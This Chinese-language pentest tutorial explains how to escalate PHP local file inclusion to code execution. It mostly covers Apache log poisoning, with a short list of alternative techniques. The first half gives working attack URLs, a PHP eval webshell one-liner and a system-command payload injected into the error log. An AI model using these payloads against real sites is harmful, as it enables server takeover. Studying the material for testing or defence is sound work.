LFI包含整理----日志文件利用

如漏洞文件为:http://xxx.com/lfi.php?page=xxx


利用apache错误日志包含


http://xxx.com/lfi.php?page=/etc/httpd/conf/httpd.conf 

通过/etc/httpd/conf/httpd.conf 查看错误日志文件位置为error.log


(1)包含一句话

随便访问:http://xxx.com/xxx.php<?php eval($_POST['a']); ?>

写入日志,查看日志

http://xxx.com/lfi.php?page=error.log 


注:会被编码,需burp截包,repeate改回来。(红黑联盟视频渗透测试17课)      

(2)包含命令执行

随便访问:http://xxx.com/xxx.php<?php system(‘ls -al /var/www/’)>

写入日志,查看日志

http://xxx.com/lfi.php?page=error.log 



=================================

远程文件包含漏洞之所以能够执行命令,就是因为攻击者可以自定义被包含的文件内容。因此,本地文件包含漏洞要想执行命令,也需要找一个攻击者能够控制内容的本地文件。

目前主要有几下几种常见的技巧:

(1)包含用户上传的文件。这个很好理解,也是最简单的一种办法。如果用户上传的文件内容中包含PHP代码,那么这些代码被文件包含函数加载后将会被执行。但能否攻击成功,取决于上传功能的设计,比如需要知道上传文件存放的物理路径,还需要上传的文件有执行权限。

(2)包含data://或php://input等伪协议。这需要目标服务器支持,同时要求allow_url_fopen为设置为ON。在PHP5.2.0之后的版本中支持data:伪协议,可以很方便地执行代码。

(3)包含Session文件。这部分需要攻击者能够控制部分Session文件的内容,PHP默认生成的Session文件一般存放在/tmp目录下。

(4)包含日志文件。比如Web服务器的访问日志文件,这是一种通用的技巧。因为几乎所有网站都会将用户的访问记录到访问日志中。因此,攻击者可以向Web日志中插入PHP代码,通过文件包含漏洞来执行包含在Web日志中的PHP代码,下面的案例中就是利用该技巧成功获取到目标网站的WebShell的。但需要注意的是,如果网站访问量大的话,日志文件可能会非常大,这时如果包含一个这么大的文件时,PHP进程可能会卡死。一般网站通常会每天生成一个新的日志文件,因此在凌晨时进行攻击相对来说容易成功。

(5)包含/proc/self/environ文件。这个也是一种通用的技巧,因为它根本不需要猜测被包含文件的路径,同时用户也能控制它的内容,常见的做法是向User-Agent中注入PHP代码来完成攻击。


详细介绍跳转:http://blog.csdn.net/hxsstar/article/details/11738807

你可能感兴趣的:(LFI包含整理----日志文件利用)